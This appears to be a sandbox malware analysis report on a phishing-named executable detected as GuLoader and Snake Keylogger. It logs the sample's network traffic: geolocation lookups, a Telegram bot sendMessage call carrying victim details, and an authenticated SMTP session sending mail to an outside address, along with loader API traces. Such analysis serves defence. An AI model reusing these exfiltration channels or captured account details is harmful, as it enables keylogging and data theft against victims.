Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	51070	188.114.97.3	443	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 15:51:19 UTC	87	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-16 15:51:19 UTC	852	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:19 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 24552 Last-Modified: Sat, 16 Nov 2024 09:02:07 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gXjJde3lo2qCKeI198ui2%2BInqh2E4ZS6YZQ3pmwbly4vk1k1nWc1eBmGpPZgf2P4SS%2BVJ9p8BNSBIrFVfs2zci1GZJ1rjCeP5M%2Bo%2FGhaQ2ex1Wg3QylTYv0JxwUUZ7Jz4GBY6mNA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e38a44a1c196c79-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5444&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=1526620&cwnd=251&unsent_bytes=0&cid=e068a8b29423aba0&ts=162&x=0"
2024-11-16 15:51:19 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	51072	188.114.97.3	443	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 15:51:20 UTC	63	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-16 15:51:20 UTC	850	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:20 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 24553 Last-Modified: Sat, 16 Nov 2024 09:02:07 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dPhukyeMheEUzd0AWbtmZWmb577Hr7533r05v0%2Btd3nl9MTPQ5DgFiB5pAiZxyqihMoS%2FBOqQy7fNVuE7P9u200nv6FVDXoWpaSFWvYAMV9KB45a29iHz%2BJG1LNN2EMdzwLGj4TQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e38a4538856ddaf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1053&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=2693953&cwnd=252&unsent_bytes=0&cid=70898dc7a9345faf&ts=149&x=0"
2024-11-16 15:51:20 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	51074	188.114.97.3	443	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 15:51:22 UTC	63	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-16 15:51:22 UTC	846	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:22 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 24555 Last-Modified: Sat, 16 Nov 2024 09:02:07 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BUisO6i64fvyclqei8uihw36KD0qe7WEj%2Fgbal13VWBJXJj0lBJC0fzkTBvYa9HSrpKgN5sj5J6foLchcSn6Tsuo4lQvTEYH0oWeECPs7jh61E5CQP6YLaFD0EA9Us78uff2oO6R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e38a45e3fc64638-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1242&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2030855&cwnd=251&unsent_bytes=0&cid=c28fcfe923513c8d&ts=228&x=0"
2024-11-16 15:51:22 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	51076	188.114.97.3	443	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 15:51:24 UTC	63	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-16 15:51:24 UTC	858	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:24 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 24557 Last-Modified: Sat, 16 Nov 2024 09:02:07 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N%2BjmHVr%2FjrOnhCh%2BjkXSzLfjgqmZ4gNnBvVxWlyTlXQ5ifgu2pdUFId%2BuQji0ZVEUui9JX3MBnb1L%2BAzXPeZfjKx4nxvc%2BOyOX0h5MfAUp8IG8%2FJD0nJN9zltiNrFb5ovIStfN3a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e38a467ba870beb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1550&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=1845761&cwnd=251&unsent_bytes=0&cid=bfb40c29a3ae5db0&ts=161&x=0"
2024-11-16 15:51:24 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	51078	188.114.97.3	443	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 15:51:25 UTC	63	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-16 15:51:25 UTC	848	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:25 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 24558 Last-Modified: Sat, 16 Nov 2024 09:02:07 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zYYy%2Bl8QbnOtZCJ7LRRCk8QGDF6cpfP0XYzldVjelSBSmdIC%2BLbnPjZhhmZ0kEqTketaaFs2DsayWx1aktwW4TyOepzo663328d3FIm2smaJQKuTwBuCs1zHDWV0Hbir7daIYZTd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e38a4723d142e75-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1941&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1852847&cwnd=245&unsent_bytes=0&cid=7e98d56a8976e6f5&ts=152&x=0"
2024-11-16 15:51:25 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	51080	188.114.97.3	443	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 15:51:27 UTC	87	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-16 15:51:27 UTC	850	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:27 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 24560 Last-Modified: Sat, 16 Nov 2024 09:02:07 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aRe%2Flc1x4UyVSaVARpbQ5XP14V5FCyw9G1FmOUki0XxsfobvmPYydLVhmp3d9dlxzkHCGnag51KEV%2FDXaYpNi26psDYHoX7qZWvsAtEUQudOnWJAcOYzaSRFFy2zOjVaewHcqIH%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e38a47b1c2da924-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1371&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1971409&cwnd=201&unsent_bytes=0&cid=3214b4eced1eee82&ts=159&x=0"
2024-11-16 15:51:27 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	51082	188.114.97.3	443	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 15:51:28 UTC	63	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-16 15:51:28 UTC	854	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:28 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 24561 Last-Modified: Sat, 16 Nov 2024 09:02:07 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FWJJxbxu8uC5RCmEQqF3IMD6ZYvCE20Im8Mjf71sYOzkjOQpmGDWmUv8b%2FrcJLLxv%2FhdMuZZAVf%2BXuz24K72dF6G321Lksb0Km2e74uW9OVOmj2h%2Bcpww8qAVhx%2BR3zWZA9j40PL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e38a4845944a912-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2065620&cwnd=159&unsent_bytes=0&cid=a94c65231bb5882d&ts=148&x=0"
2024-11-16 15:51:28 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	51083	149.154.167.220	443	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 15:51:29 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:473627%0D%0ADate%20and%20Time:%2017/11/2024%20/%2001:14:08%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20473627%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-16 15:51:29 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 16 Nov 2024 15:51:29 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-16 15:51:29 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 16, 2024 16:51:36.903776884 CET	587	51084	37.27.123.72	192.168.2.5	220-server42.hndservers.net ESMTP Exim 4.98 #2 Sat, 16 Nov 2024 20:51:36 +0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 16, 2024 16:51:36.904170990 CET	51084	587	192.168.2.5	37.27.123.72	EHLO 473627
Nov 16, 2024 16:51:37.156805038 CET	587	51084	37.27.123.72	192.168.2.5	250-server42.hndservers.net Hello 473627 [173.254.250.69] 250-SIZE 104857600 250-LIMITS MAILMAX=1000 RCPTMAX=50000 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Nov 16, 2024 16:51:37.158248901 CET	51084	587	192.168.2.5	37.27.123.72	AUTH login d2FqYWhhdEBmb29kZXguY29tLnBr
Nov 16, 2024 16:51:37.410407066 CET	587	51084	37.27.123.72	192.168.2.5	334 UGFzc3dvcmQ6
Nov 16, 2024 16:51:37.711673975 CET	587	51084	37.27.123.72	192.168.2.5	235 Authentication succeeded
Nov 16, 2024 16:51:37.712052107 CET	51084	587	192.168.2.5	37.27.123.72	MAIL FROM:<wajahat@foodex.com.pk>
Nov 16, 2024 16:51:37.964631081 CET	587	51084	37.27.123.72	192.168.2.5	250 OK
Nov 16, 2024 16:51:37.965051889 CET	51084	587	192.168.2.5	37.27.123.72	RCPT TO:<millions1000@proton.me>
Nov 16, 2024 16:51:38.233315945 CET	587	51084	37.27.123.72	192.168.2.5	250 Accepted
Nov 16, 2024 16:51:38.233643055 CET	51084	587	192.168.2.5	37.27.123.72	DATA
Nov 16, 2024 16:51:38.486479998 CET	587	51084	37.27.123.72	192.168.2.5	354 Enter message, ending with "." on a line by itself
Nov 16, 2024 16:51:38.487607956 CET	51084	587	192.168.2.5	37.27.123.72	.
Nov 16, 2024 16:51:39.065809011 CET	587	51084	37.27.123.72	192.168.2.5	250 OK id=1tCL5G-0000000Dy09-2Di9

Target ID:	0
Start time:	10:50:00
Start date:	16/11/2024
Path:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"
Imagebase:	0x400000
File size:	833'904 bytes
MD5 hash:	A7071C7CF3999B13607413C36E8D5418
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2666489951.000000000839D000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:50:58
Start date:	16/11/2024
Path:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"
Imagebase:	0x400000
File size:	833'904 bytes
MD5 hash:	A7071C7CF3999B13607413C36E8D5418
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.6%
Dynamic/Decrypted Code Coverage:	15.2%
Signature Coverage:	18.9%
Total number of Nodes:	1510
Total number of Limit Nodes:	47

Executed Functions

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNELBASE(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00000000), ref: 004033DB
CharNextW.USER32(00000000,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00000020), ref: 00403402
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040350B
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040351C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403528
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040353C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403544
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403555
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040355D
DeleteFileW.KERNELBASE(1033), ref: 00403571
OleUninitialize.OLE32(?), ref: 00403621
ExitProcess.KERNEL32 ref: 00403641
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00000000,?), ref: 0040364D
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00000000,?), ref: 00403659
CreateDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403665
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 0040366C
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
CopyFileW.KERNEL32(C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,0041FE90,00000001), ref: 004036DA
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
ExitProcess.KERNEL32 ref: 004037BC

Strings

"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe", xrefs: 004033CE, 004033D4, 00403595
1033, xrefs: 0040356C
TEMP, xrefs: 00403550
NSIS Error, xrefs: 004033B9
Error launching installer, xrefs: 004035D8
C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe, xrefs: 004036D5
